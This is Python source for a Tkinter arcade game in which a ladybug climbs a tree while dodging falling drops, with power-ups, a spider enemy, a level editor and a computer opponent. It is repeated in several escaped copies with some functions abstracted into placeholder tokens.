canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\n<function token>\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function 